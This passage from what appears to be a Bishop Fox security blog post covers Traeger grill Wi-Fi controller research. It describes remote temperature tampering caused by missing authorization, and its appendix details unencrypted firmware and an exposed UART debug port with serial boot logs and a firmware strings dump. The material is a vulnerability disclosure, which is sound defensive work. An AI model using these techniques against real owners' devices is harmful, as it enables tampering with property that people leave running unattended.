As shown above, the grill successfully received the command and entered the shutdown cycle. Despite being able to wake the grill from its standby state, adjust the temperature, and issue other grill commands, Bishop Fox was unable to identify a means to ignite the grill remotely. However, as demonstrated above, the lack of authorization controls could be used to antagonize Traeger grill owners by setting the temperature to the maximum of 500 degrees Fahrenheit for the remainder of a cooking cycle, ruining food that was being cooked unattended.
Conclusion
The growing prevalence of IoT devices such as the grill has introduced new security challenges, making comprehensive product security reviews crucial for safeguarding connected environments. This research not only demonstrates Bishop Fox’s commitment to protecting these IoT devices from emerging threats, but also reinforces our comprehensive service offerings, which include thorough product security reviews.
For additional details, we recommend:
- Explore the published advisory where we explore the criticality and impact of the vulnerabilities found within Bishop Fox’s review of the Traeger Grill Wi-Fi Controller product
- Check out Bishop Fox's product security review services, and how we help customers safely protect their products
Appendix
As part of our exploration of the Trager Grill Wi-Fi Controller, we found two vulnerabilities that are deemed informational in severity risk. Details of these vulnerabilities can be found below.
Unencrypted Firmware
After forcing the ESP32 device on the Traeger system into download mode, as discussed in Appendix A of this report, Bishop Fox staff successfully downloaded the firmware using a serial connection. After downloading the firmware, the team observed that the firmware was unencrypted, making the process of reverse engineering the firmware easier.
Vulnerability Details
Vulnerability Type: Unencrypted Firmware
Access Vector: ☐ Remote, ☐ Local, ☒ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☐ Code execution, ☐ Denial of service, ☐ Escalation of privileges, ☒ Information disclosure, ☐ Other (if other, please specify)
Security Risk: ☐ Critical, ☐ High, ☐ Medium, ☐ Low, ☒ Informational
Vulnerability: CWE-311
CVSS Base Score: 2.4
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
To demonstrate this, Bishop Fox staff used the Linux strings command to show some of the unencrypted text within the firmware:
% cat flash_contents.bin | strings | grep git /home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/include/rom/uart.h /home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/cpu_start.c /home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/clk.c /home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/crosscore_int.c /home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/ipc.c /home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/intr_alloc.c /home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/esp_timer.c /home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/dport_access.c /home/rsmith/build/traeger/git/Link/esp-idf/components/esp32/brownout.c
As shown above, unencrypted strings were recovered from the firmware which also exposed an rsmith
user account and references to a git repository. As such, an attacker could leverage this to recover the unencrypted firmware and gain a more intimate understanding of the device.
Exposed Debug Ports
During a review of the embedded Traeger Wi-Fi controller Printed Circuit Board (PCB), Bishop Fox staff noticed an exposed 10-pin interface which was used for UART connections. The exposed debug interface allowed the team to connect to and debug the device via UART.
Vulnerability Details
Vulnerability Type: Exposed Debug Ports
Access Vector: ☐ Remote, ☐ Local, ☒ Physical, ☐ Context dependent, ☐ Other (if other, please specify)
Impact: ☐ Code execution, ☐ Denial of service, ☐ Escalation of privileges, ☒ Information disclosure, ☐ Other (if other, please specify)
Security Risk: ☐ Critical, ☐ High, ☐ Medium, ☐ Low, ☒ Informational
Vulnerability: CWE-1191
CVSS Base Score: 2.4
CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Specifically, Bishop Fox staff identified the following 10-pin interface on the board:
After testing for continuity between the ESP32 and this interface, Bishop Fox staff confirmed that this interface was responsible for making UART connections to the device.
Subsequently, Bishop Fox staff made the appropriate hardware connections by connecting the Transmit ESP32 UART pin to the Receive UART pin of the Attify badge and the Receive ESP32 UART pin to the Transmit UART pin of the Attify badge.
Next, Bishop Fox staff monitored the serial connection using picocom and observed the following output from the device after booting it:
% sudo ~/Tools/picocom/picocom -b 115200 /dev/cu.usbserial-2 picocom v3.2a …omitted for brevity… Terminal ready ets Jul 29 2019 12:21:46 rst:0x1 (POWERON_RESET),boot:0x17 (SPI_FAST_FLASH_BOOT) configsip: 0, SPIWP:0xee clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00 mode:DIO, clock div:2 load:0x3fff0018,len:4 load:0x3fff001c,len:5736 load:0x40078000,len:7916 load:0x40080000,len:5908 entry 0x40080314 I (29) boot: ESP-IDF v3.1.3-51-g39c6b2f90 2nd stage bootloader I (29) boot: compile time 12:02:40 I (30) boot: Enabling RNG early entropy source... I (35) boot: SPI Speed : 40MHz I (39) boot: SPI Mode : DIO I (43) boot: SPI Flash Size : 4MB I (47) boot: Partition Table: I (51) boot: ## Label Usage Type ST Offset Length I (58) boot: 0 nvs WiFi data 01 02 00009000 00010000 I (66) boot: 1 otadata OTA data 01 00 00019000 00002000 I (73) boot: 2 factory factory app 00 00 00020000 00100000 I (80) boot: 3 ota_0 OTA app 00 10 00120000 00100000 I (88) boot: 4 ota_1 OTA app 00 11 00220000 00100000 I (95) boot: 5 storage Unknown data 01 82 00320000 000e0000 I (103) boot: End of partition table I (107) esp_image: segment 0: paddr=0x00120020 vaddr=0x3f400020 size=0x2dee4 (188132) map I (181) esp_image: segment 1: paddr=0x0014df0c vaddr=0x3ffb0000 size=0x02104 ( 8452) load I (185) esp_image: segment 2: paddr=0x00150018 vaddr=0x400d0018 size=0xb4448 (738376) map I (444) esp_image: segment 3: paddr=0x00204468 vaddr=0x3ffb2104 size=0x04714 ( 18196) load I (451) esp_image: segment 4: paddr=0x00208b84 vaddr=0x40080000 size=0x00400 ( 1024) load I (452) esp_image: segment 5: paddr=0x00208f8c vaddr=0x40080400 size=0x11714 ( 71444) load I (499) boot: Loaded app from partition at offset 0x120000 I (499) boot: Disabling RNG early entropy source... I (500) cpu_start: Pro cpu up. I (503) cpu_start: Starting app cpu, entry point is 0x40081128 I (0) cpu_start: App cpu up. I (514) heap_init: Initializing. RAM available for dynamic allocation: I (521) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM I (527) heap_init: At 3FFD0C30 len 0000F3D0 (60 KiB): DRAM I (533) heap_init: At 3FFE0440 len 00003BC0 (14 KiB): D/IRAM I (539) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM I (545) heap_init: At 40091B14 len 0000E4EC (57 KiB): IRAM I (552) cpu_start: Pro cpu start user code I (234) cpu_start: Starting scheduler on PRO CPU. …omitted for brevity…
As shown above, the UART connection was made successfully, and the device boot logs were displayed to the screen. Moreover, the device could be forced into a download state by connecting the GPIO pin of the device to ground, which ultimately allowed Bishop Fox staff to recover the firmware of the device. An attacker could leverage this exposed debug interface to recover the firmware and gather more information about the device.
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.